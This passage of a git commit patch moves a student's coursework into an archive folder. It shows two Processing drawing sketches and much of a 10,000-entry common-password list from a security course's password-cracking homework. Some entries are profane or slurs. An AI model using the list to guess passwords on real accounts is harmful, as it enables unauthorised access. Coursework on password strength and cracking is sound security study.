From 6c9b79537f03115c5e2d4883fd407a6ac870bffd Mon Sep 17 00:00:00 2001 From: Matt Strapp Date: Tue, 11 Jan 2022 10:18:56 -0600 Subject: Resume and rearrange Signed-off-by: Matt Strapp --- OLD/csci4611/lec/hexagon/hexagon.pde | 14 + OLD/csci4611/lec/triangles/triangles.pde | 10 + OLD/csci5271/ho2/10k-most-common.txt | 10000 +++++++++++++++++++++++++++++ OLD/csci5271/ho2/crack2.py | 23 + OLD/csci5271/ho2/crack6.py | 21 + OLD/csci5271/ho2/writeup.md | 139 + OLD/csci5271/hw1/hw1p2a.pl | 12 + OLD/csci5271/hw1/hw1p2b.c | 28 + OLD/csci5271/hw1/hw1p3.c | 25 + OLD/csci5271/hw1/hw1p4.c | 32 + OLD/csci5271/hw1/hw1writeup.md | 120 + OLD/csci5271/hw2/ex2-animals.c | 131 + OLD/csci5271/hw2/ex2-template.tex | 66 + OLD/csci5271/hw2/ex2-transform.c | 103 + OLD/csci5271/hw2/lattice.png | Bin 0 -> 5137 bytes OLD/csci5271/hw4/ex4-template.tex | 88 + OLD/csci5451/ass1.tex | 139 + OLD/csci5451/ass1p6.c | 103 + OLD/csci5801/a1.tex | 266 + OLD/csci5801/a1_usecase.tex | 474 ++ OLD/csci5801/a4.tex | 49 + OLD/csci5801/img/diagram.png | Bin 0 -> 25150 bytes OLD/csci5801/usecases.sty | 64 + csci4611/lec/hexagon/hexagon.pde | 14 - csci4611/lec/triangles/triangles.pde | 10 - csci5271/ho2/10k-most-common.txt | 10000 ----------------------------- csci5271/ho2/crack2.py | 23 - csci5271/ho2/crack6.py | 21 - csci5271/ho2/writeup.md | 139 - csci5271/hw1/hw1p2a.pl | 12 - csci5271/hw1/hw1p2b.c | 28 - csci5271/hw1/hw1p3.c | 25 - csci5271/hw1/hw1p4.c | 32 - csci5271/hw1/hw1writeup.md | 120 - csci5271/hw2/ex2-animals.c | 131 - csci5271/hw2/ex2-template.tex | 66 - csci5271/hw2/ex2-transform.c | 103 - csci5271/hw2/lattice.png | Bin 5137 -> 0 bytes csci5271/hw4/ex4-template.tex | 88 - csci5451/ass1.tex | 139 - csci5451/ass1p6.c | 103 - csci5801/a1.tex | 266 - csci5801/a1_usecase.tex | 474 -- csci5801/a4.tex | 49 - csci5801/img/diagram.png | Bin 25150 -> 0 bytes csci5801/usecases.sty | 64 - papers/resume.tex | 21 +- 47 files changed, 11915 insertions(+), 11920 deletions(-) create mode 100644 OLD/csci4611/lec/hexagon/hexagon.pde create mode 100644 OLD/csci4611/lec/triangles/triangles.pde create mode 100644 OLD/csci5271/ho2/10k-most-common.txt create mode 100644 OLD/csci5271/ho2/crack2.py create mode 100644 OLD/csci5271/ho2/crack6.py create mode 100644 OLD/csci5271/ho2/writeup.md create mode 100755 OLD/csci5271/hw1/hw1p2a.pl create mode 100644 OLD/csci5271/hw1/hw1p2b.c create mode 100644 OLD/csci5271/hw1/hw1p3.c create mode 100644 OLD/csci5271/hw1/hw1p4.c create mode 100644 OLD/csci5271/hw1/hw1writeup.md create mode 100644 OLD/csci5271/hw2/ex2-animals.c create mode 100644 OLD/csci5271/hw2/ex2-template.tex create mode 100644 OLD/csci5271/hw2/ex2-transform.c create mode 100644 OLD/csci5271/hw2/lattice.png create mode 100644 OLD/csci5271/hw4/ex4-template.tex create mode 100644 OLD/csci5451/ass1.tex create mode 100644 OLD/csci5451/ass1p6.c create mode 100644 OLD/csci5801/a1.tex create mode 100644 OLD/csci5801/a1_usecase.tex create mode 100644 OLD/csci5801/a4.tex create mode 100644 OLD/csci5801/img/diagram.png create mode 100644 OLD/csci5801/usecases.sty delete mode 100644 csci4611/lec/hexagon/hexagon.pde delete mode 100644 csci4611/lec/triangles/triangles.pde delete mode 100644 csci5271/ho2/10k-most-common.txt delete mode 100644 csci5271/ho2/crack2.py delete mode 100644 csci5271/ho2/crack6.py delete mode 100644 csci5271/ho2/writeup.md delete mode 100755 csci5271/hw1/hw1p2a.pl delete mode 100644 csci5271/hw1/hw1p2b.c delete mode 100644 csci5271/hw1/hw1p3.c delete mode 100644 csci5271/hw1/hw1p4.c delete mode 100644 csci5271/hw1/hw1writeup.md delete mode 100644 csci5271/hw2/ex2-animals.c delete mode 100644 csci5271/hw2/ex2-template.tex delete mode 100644 csci5271/hw2/ex2-transform.c delete mode 100644 csci5271/hw2/lattice.png delete mode 100644 csci5271/hw4/ex4-template.tex delete mode 100644 csci5451/ass1.tex delete mode 100644 csci5451/ass1p6.c delete mode 100644 csci5801/a1.tex delete mode 100644 csci5801/a1_usecase.tex delete mode 100644 csci5801/a4.tex delete mode 100644 csci5801/img/diagram.png delete mode 100644 csci5801/usecases.sty diff --git a/OLD/csci4611/lec/hexagon/hexagon.pde b/OLD/csci4611/lec/hexagon/hexagon.pde new file mode 100644 index 0000000..46eaf2e --- /dev/null +++ b/OLD/csci4611/lec/hexagon/hexagon.pde @@ -0,0 +1,14 @@ +void setup() { + size(800,800); +} + +void draw() { + background(255); + noFill(); + beginShape(); + float lineCount=1000; + for (float i = 0; i<=lineCount; i++) { + vertex(i,400+200*cos(i/80)); + } + endShape(); +} \ No newline at end of file diff --git a/OLD/csci4611/lec/triangles/triangles.pde b/OLD/csci4611/lec/triangles/triangles.pde new file mode 100644 index 0000000..6c7306b --- /dev/null +++ b/OLD/csci4611/lec/triangles/triangles.pde @@ -0,0 +1,10 @@ +void draw() { + fill(255); + noStroke(); + beginShape(TRIANGLE_FAN); + vertex(50,50); + for (int x=0;x<=8;x++) { + vertex(50+cos(x*PI/5)*30,50+sin(x*PI/5)*30); + } + endShape(CLOSE); +} \ No newline at end of file diff --git a/OLD/csci5271/ho2/10k-most-common.txt b/OLD/csci5271/ho2/10k-most-common.txt new file mode 100644 index 0000000..c03abe8 --- /dev/null +++ b/OLD/csci5271/ho2/10k-most-common.txt @@ -0,0 +1,10000 @@ +password +123456 +12345678 +1234 +qwerty +12345 +dragon +pussy +baseball +football +letmein +monkey +696969 +abc123 +mustang +michael +shadow +master +jennifer +111111 +2000 +jordan +superman +harley +1234567 +fuckme +hunter +fuckyou +trustno1 +ranger +buster +thomas +tigger +robert +soccer +fuck +batman +test +pass +killer +hockey +george +charlie +andrew +michelle +love +sunshine +jessica +asshole +6969 +pepper +daniel +access +123456789 +654321 +joshua +maggie +starwars +silver +william +dallas +yankees +123123 +ashley +666666 +hello +amanda +orange +biteme +freedom +computer +sexy +thunder +nicole +ginger +heather +hammer +summer +corvette +taylor +fucker +austin +1111 +merlin +matthew +121212 +golfer +cheese +princess +martin +chelsea +patrick +richard +diamond +yellow +bigdog +secret +asdfgh +sparky +cowboy +camaro +anthony +matrix +falcon +iloveyou +bailey +guitar +jackson +purple +scooter +phoenix +aaaaaa +morgan +tigers +porsche +mickey +maverick +cookie +nascar +peanut +justin +131313 +money +horny +samantha +panties +steelers +joseph +snoopy +boomer +whatever +iceman +smokey +gateway +dakota +cowboys +eagles +chicken +dick +black +zxcvbn +please +andrea +ferrari +knight +hardcore +melissa +compaq +coffee +booboo +bitch +johnny +bulldog +xxxxxx +welcome +james +player +ncc1701 +wizard +scooby +charles +junior +internet +bigdick +mike +brandy +tennis +blowjob +banana +monster +spider +lakers +miller +rabbit +enter +mercedes +brandon +steven +fender +john +yamaha +diablo +chris +boston +tiger +marine +chicago +rangers +gandalf +winter +bigtits +barney +edward +raiders +porn +badboy +blowme +spanky +bigdaddy +johnson +chester +london +midnight +blue +fishing +000000 +hannah +slayer +11111111 +rachel +sexsex +redsox +thx1138 +asdf +marlboro +panther +zxcvbnm +arsenal +oliver +qazwsx +mother +victoria +7777777 +jasper +angel +david +winner +crystal +golden +butthead +viking +jack +iwantu +shannon +murphy +angels +prince +cameron +girls +madison +wilson +carlos +hooters +willie +startrek +captain +maddog +jasmine +butter +booger +angela +golf +lauren +rocket +tiffany +theman +dennis +liverpoo +flower +forever +green +jackie +muffin +turtle +sophie +danielle +redskins +toyota +jason +sierra +winston +debbie +giants +packers +newyork +jeremy +casper +bubba +112233 +sandra +lovers +mountain +united +cooper +driver +tucker +helpme +fucking +pookie +lucky +maxwell +8675309 +bear +suckit +gators +5150 +222222 +shithead +fuckoff +jaguar +monica +fred +happy +hotdog +tits +gemini +lover +xxxxxxxx +777777 +canada +nathan +victor +florida +88888888 +nicholas +rosebud +metallic +doctor +trouble +success +stupid +tomcat +warrior +peaches +apples +fish +qwertyui +magic +buddy +dolphins +rainbow +gunner +987654 +freddy +alexis +braves +cock +2112 +1212 +cocacola +xavier +dolphin +testing +bond007 +member +calvin +voodoo +7777 +samson +alex +apollo +fire +tester +walter +beavis +voyager +peter +porno +bonnie +rush2112 +beer +apple +scorpio +jonathan +skippy +sydney +scott +red123 +power +gordon +travis +beaver +star +jackass +flyers +boobs +232323 +zzzzzz +steve +rebecca +scorpion +doggie +legend +ou812 +yankee +blazer +bill +runner +birdie +bitches +555555 +parker +topgun +asdfasdf +heaven +viper +animal +2222 +bigboy +4444 +arthur +baby +private +godzilla +donald +williams +lifehack +phantom +dave +rock +august +sammy +cool +brian +platinum +jake +bronco +paul +mark +frank +heka6w2 +copper +billy +cumshot +garfield +willow +cunt +little +carter +slut +albert +69696969 +kitten +super +jordan23 +eagle1 +shelby +america +11111 +jessie +house +free +123321 +chevy +bullshit +white +broncos +horney +surfer +nissan +999999 +saturn +airborne +elephant +marvin +shit +action +adidas +qwert +kevin +1313 +explorer +walker +police +christin +december +benjamin +wolf +sweet +therock +king +online +dickhead +brooklyn +teresa +cricket +sharon +dexter +racing +penis +gregory +0000 +teens +redwings +dreams +michigan +hentai +magnum +87654321 +nothing +donkey +trinity +digital +333333 +stella +cartman +guinness +123abc +speedy +buffalo +kitty +pimpin +eagle +einstein +kelly +nelson +nirvana +vampire +xxxx +playboy +louise +pumpkin +snowball +test123 +girl +sucker +mexico +beatles +fantasy +ford +gibson +celtic +marcus +cherry +cassie +888888 +natasha +sniper +chance +genesis +hotrod +reddog +alexande +college +jester +passw0rd +bigcock +smith +lasvegas +carmen +slipknot +3333 +death +kimberly +1q2w3e +eclipse +1q2w3e4r +stanley +samuel +drummer +homer +montana +music +aaaa +spencer +jimmy +carolina +colorado +creative +hello1 +rocky +goober +friday +bollocks +scotty +abcdef +bubbles +hawaii +fluffy +mine +stephen +horses +thumper +5555 +pussies +darkness +asdfghjk +pamela +boobies +buddha +vanessa +sandman +naughty +douglas +honda +matt +azerty +6666 +shorty +money1 +beach +loveme +4321 +simple +poohbear +444444 +badass +destiny +sarah +denise +vikings +lizard +melanie +assman +sabrina +nintendo +water +good +howard +time +123qwe +november +xxxxx +october +leather +bastard +young +101010 +extreme +hard +password1 +vincent +pussy1 +lacrosse +hotmail +spooky +amateur +alaska +badger +paradise +maryjane +poop +crazy +mozart +video +russell +vagina +spitfire +anderson +norman +eric +cherokee +cougar +barbara +long +420420 +family +horse +enigma +allison +raider +brazil +blonde +jones +55555 +dude +drowssap +jeff +school +marshall +lovely +1qaz2wsx +jeffrey +caroline +franklin +booty +molly +snickers +leslie +nipples +courtney +diesel +rocks +eminem +westside +suzuki +daddy +passion +hummer +ladies +zachary +frankie +elvis +reggie +alpha +suckme +simpson +patricia +147147 +pirate +tommy +semperfi +jupiter +redrum +freeuser +wanker +stinky +ducati +paris +natalie +babygirl +bishop +windows +spirit +pantera +monday +patches +brutus +houston +smooth +penguin +marley +forest +cream +212121 +flash +maximus +nipple +bobby +bradley +vision +pokemon +champion +fireman +indian +softball +picard +system +clinton +cobra +enjoy +lucky1 +claire +claudia +boogie +timothy +marines +security +dirty +admin +wildcats +pimp +dancer +hardon +veronica +fucked +abcd1234 +abcdefg +ironman +wolverin +remember +great +freepass +bigred +squirt +justice +francis +hobbes +kermit +pearljam +mercury +domino +9999 +denver +brooke +rascal +hitman +mistress +simon +tony +bbbbbb +friend +peekaboo +naked +budlight +electric +sluts +stargate +saints +bondage +brittany +bigman +zombie +swimming +duke +qwerty1 +babes +scotland +disney +rooster +brenda +mookie +swordfis +candy +duncan +olivia +hunting +blink182 +alicia +8888 +samsung +bubba1 +whore +virginia +general +passport +aaaaaaaa +erotic +liberty +arizona +jesus +abcd +newport +skipper +rolltide +balls +happy1 +galore +christ +weasel +242424 +wombat +digger +classic +bulldogs +poopoo +accord +popcorn +turkey +jenny +amber +bunny +mouse +007007 +titanic +liverpool +dreamer +everton +friends +chevelle +carrie +gabriel +psycho +nemesis +burton +pontiac +connor +eatme +lickme +roland +cumming +mitchell +ireland +lincoln +arnold +spiderma +patriots +goblue +devils +eugene +empire +asdfg +cardinal +brown +shaggy +froggy +qwer +kawasaki +kodiak +people +phpbb +light +54321 +kramer +chopper +hooker +honey +whynot +lesbian +lisa +baxter +adam +snake +teen +ncc1701d +qqqqqq +airplane +britney +avalon +sandy +sugar +sublime +stewart +wildcat +raven +scarface +elizabet +123654 +trucks +wolfpack +pervert +lawrence +raymond +redhead +american +alyssa +bambam +movie +woody +shaved +snowman +tiger1 +chicks +raptor +1969 +stingray +shooter +france +stars +madmax +kristen +sports +jerry +789456 +garcia +simpsons +lights +ryan +looking +chronic +alison +hahaha +packard +hendrix +perfect +service +spring +srinivas +spike +katie +252525 +oscar +brother +bigmac +suck +single +cannon +georgia +popeye +tattoo +texas +party +bullet +taurus +sailor +wolves +panthers +japan +strike +flowers +pussycat +chris1 +loverboy +berlin +sticky +marina +tarheels +fisher +russia +connie +wolfgang +testtest +mature +bass +catch22 +juice +michael1 +nigger +159753 +women +alpha1 +trooper +hawkeye +head +freaky +dodgers +pakistan +machine +pyramid +vegeta +katana +moose +tinker +coyote +infinity +inside +pepsi +letmein1 +bang +control +hercules +morris +james1 +tickle +outlaw +browns +billybob +pickle +test1 +michele +antonio +sucks +pavilion +changeme +caesar +prelude +tanner +adrian +darkside +bowling +wutang +sunset +robbie +alabama +danger +zeppelin +juan +rusty +pppppp +nick +2001 +ping +darkstar +madonna +qwe123 +bigone +casino +cheryl +charlie1 +mmmmmm +integra +wrangler +apache +tweety +qwerty12 +bobafett +simone +none +business +sterling +trevor +transam +dustin +harvey +england +2323 +seattle +ssssss +rose +harry +openup +pandora +pussys +trucker +wallace +indigo +storm +malibu +weed +review +babydoll +doggy +dilbert +pegasus +joker +catfish +flipper +valerie +herman +fuckit +detroit +kenneth +cheyenne +bruins +stacey +smoke +joey +seven +marino +fetish +xfiles +wonder +stinger +pizza +babe +pretty +stealth +manutd +gracie +gundam +cessna +longhorn +presario +mnbvcxz +wicked +mustang1 +victory +21122112 +shelly +awesome +athena +q1w2e3r4 +help +holiday +knicks +street +redneck +12341234 +casey +gizmo +scully +dragon1 +devildog +triumph +eddie +bluebird +shotgun +peewee +ronnie +angel1 +daisy +special +metallica +madman +country +impala +lennon +roscoe +omega +access14 +enterpri +miranda +search +smitty +blizzard +unicorn +tight +rick +ronald +asdf1234 +harrison +trigger +truck +danny +home +winnie +beauty +thailand +1234567890 +cadillac +castle +tyler +bobcat +buddy1 +sunny +stones +asian +freddie +chuck +butt +loveyou +norton +hellfire +hotsex +indiana +short +panzer +lonewolf +trumpet +colors +blaster +12121212 +fireball +logan +precious +aaron +elaine +jungle +atlanta +gold +corona +curtis +nikki +polaris +timber +theone +baller +chipper +orlando +island +skyline +dragons +dogs +benson +licker +goldie +engineer +kong +pencil +basketba +open +hornet +world +linda +barbie +chan +farmer +valentin +wetpussy +indians +larry +redman +foobar +travel +morpheus +bernie +target +141414 +hotstuff +photos +laura +savage +holly +rocky1 +fuck_inside +dollar +turbo +design +newton +hottie +moon +202020 +blondes +4128 +lestat +avatar +future +goforit +random +abgrtyu +jjjjjj +cancer +q1w2e3 +smiley +goldberg +express +virgin +zipper +wrinkle1 +stone +andy +babylon +dong +powers +consumer +dudley +monkey1 +serenity +samurai +99999999 +bigboobs +skeeter +lindsay +joejoe +master1 +aaaaa +chocolat +christia +birthday +stephani +tang +1234qwer +alfred +ball +98765432 +maria +sexual +maxima +77777777 +sampson +buckeye +highland +kristin +seminole +reaper +bassman +nugget +lucifer +airforce +nasty +watson +warlock +2121 +philip +always +dodge +chrissy +burger +bird +snatch +missy +pink +gang +maddie +holmes +huskers +piglet +photo +joanne +hamilton +dodger +paladin +christy +chubby +buckeyes +hamlet +abcdefgh +bigfoot +sunday +manson +goldfish +garden +deftones +icecream +blondie +spartan +julie +harold +charger +brandi +stormy +sherry +pleasure +juventus +rodney +galaxy +holland +escort +zxcvb +planet +jerome +wesley +blues +song +peace +david1 +ncc1701e +1966 +51505150 +cavalier +gambit +karen +sidney +ripper +oicu812 +jamie +sister +marie +martha +nylons +aardvark +nadine +minnie +whiskey +bing +plastic +anal +babylon5 +chang +savannah +loser +racecar +insane +yankees1 +mememe +hansolo +chiefs +fredfred +freak +frog +salmon +concrete +yvonne +zxcv +shamrock +atlantis +warren +wordpass +julian +mariah +rommel +1010 +harris +predator +sylvia +massive +cats +sammy1 +mister +stud +marathon +rubber +ding +trunks +desire +montreal +justme +faster +kathleen +irish +1999 +bertha +jessica1 +alpine +sammie +diamonds +tristan +00000 +swinger +shan +stallion +pitbull +letmein2 +roberto +ready +april +palmer +ming +shadow1 +audrey +chong +clitoris +wang +shirley +fuckers +jackoff +bluesky +sundance +renegade +hollywoo +151515 +bernard +wolfman +soldier +picture +pierre +ling +goddess +manager +nikita +sweety +titans +hang +fang +ficken +niners +bottom +bubble +hello123 +ibanez +webster +sweetpea +stocking +323232 +tornado +lindsey +content +bruce +buck +aragorn +griffin +chen +campbell +trojan +christop +newman +wayne +tina +rockstar +father +geronimo +pascal +crimson +brooks +hector +penny +anna +google +camera +chandler +fatcat +lovelove +cody +cunts +waters +stimpy +finger +cindy +wheels +viper1 +latin +robin +greenday +987654321 +creampie +brendan +hiphop +willy +snapper +funtime +duck +trombone +adult +cotton +cookies +kaiser +mulder +westham +latino +jeep +ravens +aurora +drizzt +madness +energy +kinky +314159 +sophia +stefan +slick +rocker +55555555 +freeman +french +mongoose +speed +dddddd +hong +henry +hungry +yang +catdog +cheng +ghost +gogogo +randy +tottenha +curious +butterfl +mission +january +singer +sherman +shark +techno +lancer +lalala +autumn +chichi +orion +trixie +clifford +delta +bobbob +bomber +holden +kang +kiss +1968 +spunky +liquid +mary +beagle +granny +network +bond +kkkkkk +millie +1973 +biggie +beetle +teacher +susan +toronto +anakin +genius +dream +cocks +dang +bush +karate +snakes +bangkok +callie +fuckyou2 +pacific +daytona +kelsey +infantry +skywalke +foster +felix +sailing +raistlin +vanhalen +huang +herbert +jacob +blackie +tarzan +strider +sherlock +lang +gong +sang +dietcoke +ultimate +tree +shai +sprite +ting +artist +chai +chao +devil +python +ninja +misty +ytrewq +sweetie +superfly +456789 +tian +jing +jesus1 +freedom1 +dian +drpepper +potter +chou +darren +hobbit +violet +yong +shen +phillip +maurice +gloria +nolimit +mylove +biscuit +yahoo +shasta +sex4me +smoker +smile +pebbles +pics +philly +tong +tintin +lesbians +marlin +cactus +frank1 +tttttt +chun +danni +emerald +showme +pirates +lian +dogg +colleen +xiao +xian +tazman +tanker +patton +toshiba +richie +alberto +gotcha +graham +dillon +rang +emily +keng +jazz +bigguy +yuan +woman +tomtom +marion +greg +chaos +fossil +flight +racerx +tuan +creamy +boss +bobo +musicman +warcraft +window +blade +shuang +sheila +shun +lick +jian +microsoft +rong +allen +feng +getsome +sally +quality +kennedy +morrison +1977 +beng +wwwwww +yoyoyo +zhang +seng +teddy +joanna +andreas +harder +luke +qazxsw +qian +cong +chuan +deng +nang +boeing +keeper +western +isabelle +1963 +subaru +sheng +thuglife +teng +jiong +miao +martina +mang +maniac +pussie +tracey +a1b2c3 +clayton +zhou +zhuang +xing +stonecol +snow +spyder +liang +jiang +memphis +regina +ceng +magic1 +logitech +chuang +dark +million +blow +sesame +shao +poison +titty +terry +kuan +kuai +kyle +mian +guan +hamster +guai +ferret +florence +geng +duan +pang +maiden +quan +velvet +nong +neng +nookie +buttons +bian +bingo +biao +zhong +zeng +xiong +zhun +ying +zong +xuan +zang +0.0.000 +suan +shei +shui +sharks +shang +shua +small +peng +pian +piao +liao +meng +miami +reng +guang +cang +change +ruan +diao +luan +lucas +qing +chui +chuo +cuan +nuan +ning +heng +huan +kansas +muscle +monroe +weng +whitney +1passwor +bluemoon +zhui +zhua +xiang +zheng +zhen +zhei +zhao +zhan +yomama +zhai +zhuo +zuan +tarheel +shou +shuo +tiao +lady +leonard +leng +kuang +jiao +13579 +basket +qiao +qiong +qiang +chuai +nian +niao +niang +huai +22222222 +bianca +zhuan +zhuai +shuan +shuai +stardust +jumper +margaret +archie +66666666 +charlott +forget +qwertz +bones +history +milton +waterloo +2002 +stuff +11223344 +office +oldman +preston +trains +murray +vertigo +246810 +black1 +swallow +smiles +standard +alexandr +parrot +luther +user +nicolas +1976 +surfing +pioneer +pete +masters +apple1 +asdasd +auburn +hannibal +frontier +panama +lucy +buffy +brianna +welcome1 +vette +blue22 +shemale +111222 +baggins +groovy +global +turner +181818 +1979 +blades +spanking +life +byteme +lobster +collins +dawg +hilton +japanese +1970 +1964 +2424 +polo +markus +coco +deedee +mikey +1972 +171717 +1701 +strip +jersey +green1 +capital +sasha +sadie +putter +vader +seven7 +lester +marcel +banshee +grendel +gilbert +dicks +dead +hidden +iloveu +1980 +sound +ledzep +michel +147258 +female +bugger +buffett +bryan +hell +kristina +molson +2020 +wookie +sprint +thanks +jericho +102030 +grace +fuckin +mandy +ranger1 +trebor +deepthroat +bonehead +molly1 +mirage +models +1984 +2468 +stuart +showtime +squirrel +pentium +mario +anime +gator +powder +twister +connect +neptune +bruno +butts +engine +eatshit +mustangs +woody1 +shogun +septembe +pooh +jimbo +roger +annie +bacon +center +russian +sabine +damien +mollie +voyeur +2525 +363636 +leonardo +camel +chair +germany +giant +qqqq +nudist +bone +sleepy +tequila +megan +fighter +garrett +dominic +obiwan +makaveli +vacation +walnut +1974 +ladybug +cantona +ccbill +satan +rusty1 +passwor1 +columbia +napoleon +dusty +kissme +motorola +william1 +1967 +zzzz +skater +smut +play +matthew1 +robinson +valley +coolio +dagger +boner +bull +horndog +jason1 +blake +penguins +rescue +griffey +8j4ye3uz +californ +champs +qwertyuiop +portland +queen +colt45 +boat +xxxxxxx +xanadu +tacoma +mason +carpet +gggggg +safety +palace +italia +stevie +picturs +picasso +thongs +tempest +ricardo +roberts +asd123 +hairy +foxtrot +gary +nimrod +hotboy +343434 +1111111 +asdfghjkl +goose +overlord +blood +wood +stranger +454545 +shaolin +sooners +socrates +spiderman +peanuts +maxine +rogers +13131313 +andrew1 +filthy +donnie +ohyeah +africa +national +kenny +keith +monique +intrepid +jasmin +pickles +assass +fright +potato +darwin +hhhhhh +kingdom +weezer +424242 +pepsi1 +throat +romeo +gerard +looker +puppy +butch +monika +suzanne +sweets +temple +laurie +josh +megadeth +analsex +nymets +ddddddd +bigballs +support +stick +today +down +oakland +oooooo +qweasd +chucky +bridge +carrot +chargers +discover +dookie +condor +night +butler +hoover +horny1 +isabella +sunrise +sinner +jojo +megapass +martini +assfuck +grateful +ffffff +abigail +esther +mushroom +janice +jamaica +wright +sims +space +there +timmy +7654321 +77777 +cccccc +gizmodo +roxanne +ralph +tractor +cristina +dance +mypass +hongkong +helena +1975 +blue123 +pissing +thomas1 +redred +rich +basketball +attack +cash +satan666 +drunk +dixie +dublin +bollox +kingkong +katrina +miles +1971 +22222 +272727 +sexx +penelope +thompson +anything +bbbb +battle +grizzly +passat +porter +tracy +defiant +bowler +knickers +monitor +wisdom +wild +slappy +thor +letsgo +robert1 +feet +rush +brownie +hudson +098765 +playing +playtime +lightnin +melvin +atomic +bart +hawk +goku +glory +llllll +qwaszx +cosmos +bosco +knights +bentley +beast +slapshot +lewis +assword +frosty +gillian +sara +dumbass +mallard +dddd +deanna +elwood +wally +159357 +titleist +angelo +aussie +guest +golfing +doobie +loveit +chloe +elliott +werewolf +vipers +janine +1965 +blabla +surf +sucking +tardis +serena +shelley +thegame +legion +rebels +fernando +fast +gerald +sarah1 +double +onelove +loulou +toto +crash +blackcat +0007 +tacobell +soccer1 +jedi +manuel +method +river +chase +ludwig +poopie +derrick +boob +breast +kittycat +isabel +belly +pikachu +thunder1 +thankyou +jose +celeste +celtics +frances +frogger +scoobydo +sabbath +coltrane +budman +willis +jackal +bigger +zzzzz +silvia +sooner +licking +gopher +geheim +lonestar +primus +pooper +newpass +brasil +heather1 +husker +element +moomoo +beefcake +zzzzzzzz +tammy +shitty +smokin +personal +jjjj +anthony1 +anubis +backup +gorilla +fuckface +painter +lowrider +punkrock +traffic +claude +daniela +dale +delta1 +nancy +boys +easy +kissing +kelley +wendy +theresa +amazon +alan +fatass +dodgeram +dingdong +malcolm +qqqqqqqq +breasts +boots +honda1 +spidey +poker +temp +johnjohn +miguel +147852 +archer +asshole1 +dogdog +tricky +crusader +weather +syracuse +spankme +speaker +meridian +amadeus +back +harley1 +falcons +dorothy +turkey50 +kenwood +keyboard +ilovesex +1978 +blackman +shazam +shalom +lickit +jimbob +richmond +roller +carson +check +fatman +funny +garbage +sandiego +loving +magnus +cooldude +clover +mobile +bell +payton +plumber +texas1 +tool +topper +jenna +mariners +rebel +harmony +caliente +celica +fletcher +german +diana +oxford +osiris +orgasm +punkin +porsche9 +tuesday +close +breeze +bossman +kangaroo +billie +latinas +judith +astros +scruffy +donna +qwertyu +davis +hearts +kathy +jammer +java +springer +rhonda +ricky +1122 +goodtime +chelsea1 +freckles +flyboy +doodle +city +nebraska +bootie +kicker +webmaster +vulcan +iverson +191919 +blueeyes +stoner +321321 +farside +rugby +director +pussy69 +power1 +bobbie +hershey +hermes +monopoly +west +birdman +blessed +blackjac +southern +peterpan +thumbs +lawyer +melinda +fingers +fuckyou1 +rrrrrr +a1b2c3d4 +coke +nicola +bohica +heart +elvis1 +kids +blacky +stories +sentinel +snake1 +phoebe +jesse +richard1 +1234abcd +guardian +candyman +fisting +scarlet +dildo +pancho +mandingo +lucky7 +condom +munchkin +billyboy +summer1 +student +sword +skiing +sergio +site +sony +thong +rootbeer +assassin +cassidy +frederic +fffff +fitness +giovanni +scarlett +durango +postal +achilles +dawn +dylan +kisses +warriors +imagine +plymouth +topdog +asterix +hallo +cameltoe +fuckfuck +bridget +eeeeee +mouth +weird +will +sithlord +sommer +toby +theking +juliet +avenger +backdoor +goodbye +chevrole +faith +lorraine +trance +cosworth +brad +houses +homers +eternity +kingpin +verbatim +incubus +1961 +blond +zaphod +shiloh +spurs +station +jennie +maynard +mighty +aliens +hank +charly +running +dogman +omega1 +printer +aggies +chocolate +deadhead +hope +javier +bitch1 +stone55 +pineappl +thekid +lizzie +rockets +ashton +camels +formula +forrest +rosemary +oracle +rain +pussey +porkchop +abcde +clancy +nellie +mystic +inferno +blackdog +steve1 +pauline +alexander +alice +alfa +grumpy +flames +scream +lonely +puffy +proxy +valhalla +unreal +cynthia +herbie +engage +yyyyyy +010101 +solomon +pistol +melody +celeb +flying +gggg +santiago +scottie +oakley +portugal +a12345 +newbie +mmmm +venus +1qazxsw2 +beverly +zorro +work +writer +stripper +sebastia +spread +phil +tobias +links +members +metal +1221 +andre +565656 +funfun +trojans +again +cyber +hurrican +moneys +1x2zkg8w +zeus +thing +tomato +lion +atlantic +celine +usa123 +trans +account +aaaaaaa +homerun +hyperion +kevin1 +blacks +44444444 +skittles +sean +hastings +fart +gangbang +fubar +sailboat +older +oilers +craig +conrad +church +damian +dean +broken +buster1 +hithere +immortal +sticks +pilot +peters +lexmark +jerkoff +maryland +anders +cheers +possum +columbus +cutter +muppet +beautiful +stolen +swordfish +sport +sonic +peter1 +jethro +rockon +asdfghj +pass123 +paper +pornos +ncc1701a +bootys +buttman +bonjour +escape +1960 +becky +bears +362436 +spartans +tinman +threesom +lemons +maxmax +1414 +bbbbb +camelot +chad +chewie +gogo +fusion +saint +dilligaf +nopass +myself +hustler +hunter1 +whitey +beast1 +yesyes +spank +smudge +pinkfloy +patriot +lespaul +annette +hammers +catalina +finish +formula1 +sausage +scooter1 +orioles +oscar1 +over +colombia +cramps +natural +eating +exotic +iguana +bella +suckers +strong +sheena +start +slave +pearl +topcat +lancelot +angelica +magelan +racer +ramona +crunch +british +button +eileen +steph +456123 +skinny +seeking +rockhard +chief +filter +first +freaks +sakura +pacman +poontang +dalton +newlife +homer1 +klingon +watcher +walleye +tasha +tasty +sinatra +starship +steel +starbuck +poncho +amber1 +gonzo +grover +catherin +carol +candle +firefly +goblin +scotch +diver +usmc +huskies +eleven +kentucky +kitkat +israel +beckham +bicycle +yourmom +studio +tara +33333333 +shane +splash +jimmy1 +reality +12344321 +caitlin +focus +sapphire +mailman +raiders1 +clark +ddddd +hopper +excalibu +more +wilbur +illini +imperial +phillips +lansing +maxx +gothic +golfball +carlton +camille +facial +front242 +macdaddy +qwer1234 +vectra +cowboys1 +crazy1 +dannyboy +jane +betty +benny +bennett +leader +martinez +aquarius +barkley +hayden +caught +franky +ffff +floyd +sassy +pppp +pppppppp +prodigy +clarence +noodle +eatpussy +vortex +wanking +beatrice +billy1 +siemens +pedro +phillies +research +groups +carolyn +chevy1 +cccc +fritz +gggggggg +doughboy +dracula +nurses +loco +madrid +lollipop +trout +utopia +chrono +cooler +conner +nevada +wibble +werner +summit +marco +marilyn +1225 +babies +capone +fugazi +panda +mama +qazwsxed +puppies +triton +9876 +command +nnnnnn +ernest +momoney +iforgot +wolfie +studly +shawn +renee +alien +hamburg +81fukkc +741852 +catman +china +forgot +gagging +scott1 +drew +oregon +qweqwe +train +crazybab +daniel1 +cutlass +brothers +holes +heidi +mothers +music1 +what +walrus +1957 +bigtime +bike +xtreme +simba +ssss +rookie +angie +bathing +fresh +sanchez +rotten +maestro +luis +look +turbo1 +99999 +butthole +hhhh +elijah +monty +bender +yoda +shania +shock +phish +thecat +rightnow +reagan +baddog +asia +greatone +gateway1 